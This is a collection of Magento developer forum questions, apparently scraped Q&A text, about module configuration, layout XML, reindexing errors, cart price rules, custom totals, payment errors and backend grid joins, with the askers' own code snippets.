While installing Magento2, on Advanced Modules Configurations page, I find there are 117 core modules already selected

e.g. Magento_AdvancedPricingImportExport

I believe disable modules I don't use improve performance a little

Where can I know each modules function? so that I can decide to install or not


texts: how to declare a block and a subblock in a specific CMS page?

texts:
i have a CMS page with content

      {{block type="core/template" name="cms.man" template="cms/man.phtml"}}

How could i add a reference block / sub-block to this block so i can add a captcha to this man.phtml form?


texts:
php bin/magento indexer:reindex

  ...

  ...

  Catalog Search index has been rebuilt successfully in 00:00:20

  The store that was requested wasn't found. Verify the store and try
  again.

  The store that was requested wasn't found. Verify the store and try
  again.

When i try to reindex - getting this notice. What does it means?


texts: All of the buttons/links including admin login shows error 404 not found 1, how to fix this problem?

texts: My web store is not responding at all. All the buttons, footer links, header links, categories show error 404 upon clicking. The theme of the store also appears as list view and I can not even login to my admin page as it shows error 404 not found 1.


texts:
i want to upgrade the PHP-Version of the Shop (5.6 - after: 7.2).

  Is there a major patch to do that?
  Is there anything to mention(for example common problems)?


texts: Moving "My Account" link from the top links in 2.2

texts:
having trouble with a layout change in Mage 2.2.

I want to move just the link for "My Account" from its current position (located inside

), to the
 (which contains the logo and cart).

I tried using the code snippet <move element="authorization-link-login" destination="header-wrapper" after="logo" />
 but this doesn't seem to do anything at all. This is strange as I am using something similar to move my search to just before the logo (<move element="top.search" destination="header-wrapper" before="-"/>).

Can anyone shine any light on why I can't get the link to move?


texts: How to render bundle item product name with From/To: bundle product prices in price.phtml

texts:
I have many bundle products that are made up of bundle items.

For example if I have a bundle product called "Farm Animals" made up of four bundle items:

duck - $1
chicken - $2
cow - $3
zebra - $4

I would like to display the following pricing information:

Farm Animals
From: 1$ duck To: $4 zebra

At the moment I've implemented:

            $selectionCollection = $_product->getTypeInstance(true)->getSelectionsCollection(
                $_product->getTypeInstance(true)->getOptionsIds($_product), $_product
            );

            $max_prod_name = '';
            $min_prod_name ='';
            $max_price = 0;
            $min_price = 999999;

            foreach($selectionCollection as $option) {
                $pr = Mage::getModel('catalog/product')->load($option->product_id);
                if ($pr->getPrice() > $max_prod_name) {
                    $max_price = $pr->getPrice();
                    $max_prod_name = $pr->name;
                } else if ($pr->getPrice() < $min_price) {
                    $min_price = $pr->getPrice();
                    $min_prod_name = $pr->name;
                }
            }

This is very resource intensive when rendering category list pages with the foreach loop executing multiple times per product.

Is there a more efficient way to do this?


texts: Magento Marketplace submission Rejected - There are no commands defined in the "setup" namespace

texts:
I am trying to submit my extension to Magento Marketplace, I keep getting rejected.

Errors during installation

Installation issue:

setup-upgrade

The Error Message

[InvalidArgumentException]

There are no commands defined in the "setup" namespace.

This is what it says it failed on.
Operating System - Centos 7, PHP Version - 5.6.30, Magento Platform - 2.1.5 CE

When I test it. - Using Composer (or Manually adding file), (Dev and producution mode) everything seems to be working fine, no error messages anywhere.

Any ideas or things I can check?


texts: Magento2 - Which namespaces to be used inside a class

texts:
This might be a novice question, but as when a developer starts to learn Magento2,how do i figure out which all namespaces must be used inside a Model,Block,Plugin or matter of fact any custom class which has been created in Magento2.

In Magento1.x.x , following scenario used to occur.

Block/Model/Helper - Either it can be extended from default skeleton
class or any core block class file.
controllers - Had to extend a       frontcontroller class, or include
another class file and extend it.
So this was fairly straightforward.

So is the case with Magento2, i have to first search for all possible dependencies for my class, include those namespace, di it and then start coding?


texts:
I have done below steps to Set up a buy x Get y free on Shopping cart rules

1st. Go to Marketing > Cart prices rules

2nd. Click on Add new rule

3rd. Define a name, a short descritpion, select website and customer groups

4th. Define if your promotion require a coupon to be activated or not

5th. Define a period

6th. Conditions : nothing to set up here

7th. ACTIONS :

Select "Buy x Get Y free"

Discount amount put "1" (that means 1 prodcut free)

Maximum qty discount apply : Select how many times in the order this promotions can be applied

Discount qty : Put "2" for a Buy 2 get 1 Free

But I couldn't see the discount on cart page order summary section.

Kindly help me with this issue.

I have done cache,reindex,upgrade..


texts: Hope anyone can advise me on how I can prepare for the Magento 2 Developer Certification Exam?


texts: How to remove watermark from image from the product grid in magento2?

texts:
I have uploaded one product using csv with base,small and thumbnail images.

I am not getting watermark images for base and small but for thumbnail image which are used in product grid.

So how to remove watermark from it?


texts:
I have upgraded my magento to 1.9.2 and had 404 on Home page and white screen (blank page) on /admin. Home page I have fixed, but i have no idea what is the trouble with admin page.

I have cleared cache, checked logs... Nothing special.
Who can help please?


texts: Custom surcharge not adding to cart total

texts:
I am addming a custom surcharge to certain items while following this guide: https://www.classyllama.com/blog/unravel-magento-collecttotal-intro

When looking at the cart now, I see the following (as an example)

Subtotal: 10.00$

Custom: 4.00 $

Grand Total: 10.00$

Clearly the Custom Surcharges are not adding to my total, this is my model:

class MyModel_CustomSurcharge_Model_Sales_Quote_Address_Total_Customsurcharge extends Mage_Sales_Model_Quote_Address_Total_Abstract {

public function __construct()
{
    $this->setCode('custom_surcharge');
}

public function collect(Mage_Sales_Model_Quote_Address $address)
{
    parent::collect($address);

    foreach ($this->_getAddressItems($address) as $item) {
        if (mylogic()) { // placeholder for my logic
             $this->_applyItemSurcharge($item);
        }
    }
    return $this;
}

protected function _applyItemSurcharge($item)
{

    $percentage = 0.06;

    $baseSurcharge = $item->getCustomPrice() * $percentage;

    $surcharge = Mage::app()->getStore()->convertPrice($baseSurcharge);

    $item->setBaseCustomSurchargeAmount($baseSurcharge);
    $item->setCustomSurchargeAmount($surcharge);

    $this->_addBaseAmount($baseSurcharge);
    $this->_addAmount($surcharge);

}

public function fetch(Mage_Sales_Model_Quote_Address $address)
{
    $amount = $address->getCustomSurchargeAmount();
    if ($amount!=0) {
        $address->addTotal(array(
                'code' => $this->getCode(),
                'title' => "Fees",
                'value' => $amount
        ));
    }
    return $this;
}
}

The database is populated with the right values, and also it is showing up in the cart, but is NOT added to the cart total.

any hint for me where the problem is?  :)


texts: Amazon pay return the error "Place select a payment method"

texts:
Amazon pay, when I select amazon pay on one step check out page by default select amazon pay but when I place order error comes "Please select a payment method". But if I refresh the page with Ctrl+f5 then the order is placed.
I am using  Magento 2.2.5


texts: Add system config file in Customers Tab in Stores -> Configuration

texts:
I have created a module in Magento 2 and want to show it config file in Customers Tab in Stores -> Configuration section.

What I have to give in system.xml file to show in that default section.

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Config:etc/system_file.xsd">
    <system>

            Trade Customer
            <tab>customer</tab>
            <group id="general" translate="label" type="text" sortOrder="10" showInDefault="1" showInWebsite="1" showInStore="1">
                General Configuration
                <field id="enable" translate="label" type="select" sortOrder="1" showInDefault="1" showInWebsite="1" showInStore="1">
                    Module Enable
                    <source_model>Magento\Config\Model\Config\Source\Yesno</source_model>
                </field>
            </group>

    </system>
</config>


texts: Want to override special price end date in list.phtml

texts:
i am trying to override special price start/end date time.
i have done in view.phtml, but in list.phtml it is not applied when i set special price end date in admin panel.
What i did wrong.

Can anyone help me in this case.

Thanks in advance.

Updates:

i have overridden list.phtml, price.phtml and view.phtml in templates
overridden Price.php in Mage->Catalog->Model->Product->Type

Now the changes i made are applied in view.phtml, but in list.phtml it is not appiled.

And i want to override the special price end date.


texts:
The load time of my website  is too high, I have a lot of configurable products and when disabled the configurable swatches there is no change. I tried a lot of searches but I can't solve my issue!

We have a lot of queries when I checked: 7K references to catalog_category_entity I don't know How can I solve the problem of categories queries!!

Can you help us to solve this issue?


texts:
I create a custome theme based on Blank theme, I want to display top.links in header like in the following image:

How I can add that links and much important that Basket like in the image?

Thanks


texts: Grouped product show price without tax in product listing

texts:
We're facing a Magento bug.
We want to display prices excl Tax and in category product listing for a grouped product it shows the price including VAT (http://imgur.com/a/NpwRu ) and in product page ( http://imgur.com/a/NAIQN ) it shows the product excluding Prices.

We should have in product listing the same minimal price from the product page which is 58$ but it shows 49$ the price incl Tax.

This problem is only for grouped products, for simple products display the right price in category and in product page.

I'm using Magento 1.9.2.1
I've take a look in price.phtml file and found the code at line 452, I've tried to change the code but nothing happens.


texts: Magento 2: Get product URL with category key on Search page

texts:
I just apply Store -> Configuration -> Catalog -> Catalog -> Search Engine Optimization -> "Use Categories Path for Product URLs" set to "Yes"

this settings  working fine if we access product from category page but if we search product by name and in search in show direct product URL without category key so how can I fixed this issue anyone have any idea ?


texts: Default selected simple product in configurable product

texts:
I have a configurable product with simple products in it(associated products). By default
when you view the configurable product magento has not set any associated products as standard, so a price of $0 is shown.

To get rid of the $0 price, i thought about if it's possible to set a default/auto choosed associated product in a configurable product? Or just tell magento to automaticly always select the lowest priced associated product?

I have tried to do a jquery trick by autoselect the second option, but then the price is not updating automaticly anymore :/

Any suggestions?


texts:
I have followed all the steps in creating a new category. I made the sub-cat, rewrote the URL. But when I save and reload my website the new tab doesn't appear.

Do I need to do something else in order for it to appear in the nav bar?


texts: Best practice to join product attributes

texts:
I have a custom table with a product reference product_id. Now I would like to show product information (sku, name) in my backend grid, but I am unsure what is the best practice to do this?

My best guess for SKU is as follows:

$collection->join(
    'catalog/product',
    'product_id=`catalog/product`.entity_id',
    array('product_sku' => 'sku')
)

(code from the _prepareCollection() method in my grid block class)

But what about the product name? It can be found in catalog_product_entity_varchar. My understanding is that you can rather easy get it if your own resource model and collection is based on Mage_Eav_Model_Entity_Collection_Abstract because then you can use methods like joinAttribute.
But my model is based on a simple table and extending from Mage_Core_Model_Resource_Db_Collection_Abstractand there is no joinAttribute method available.

So what is the best way to get the product name in this case?

Thanks for your time and help :-)

Update:
To be more precise, I was talking about my resource model and collection. It matches a simple flat table with just a few attributes like

entity_id    product_id    created_at    user_id

My intention is to grid in the backend where I show some statistics:

ProductSku    Count(ProductSku)    MAX(created_at)

As far as I know, the best approch to do this, is via the grid block class and the method to go is _prepareCollection().

My method looks like this:

protected function _prepareCollection()
{
    // Get and set our collection for the grid
    $collection = Mage::getResourceModel($this->_getCollectionClass());
    $collection
        ->join(
            'catalog/product',
            'product_id=`catalog/product`.entity_id',
            array('product_sku' => 'sku')
            )
        ->addExpressionFieldToSelect('product_count', 'COUNT({{product_id}})', 'product_id')
        ->addExpressionFieldToSelect('newest', 'MAX({{created_at}})', array('created_at'=>'main_table.created_at'))
        ->getSelect()->group('product_id');
    $this->setCollection($collection);

    return parent::_prepareCollection();
}

This works well for the sku (which I refer to as product_sku in the _prepareColums() method. But what join do I need to insert here in order to get the name (and e.g. the manufacturer)?

Am I doing something wrong because I can't use joinLeft()?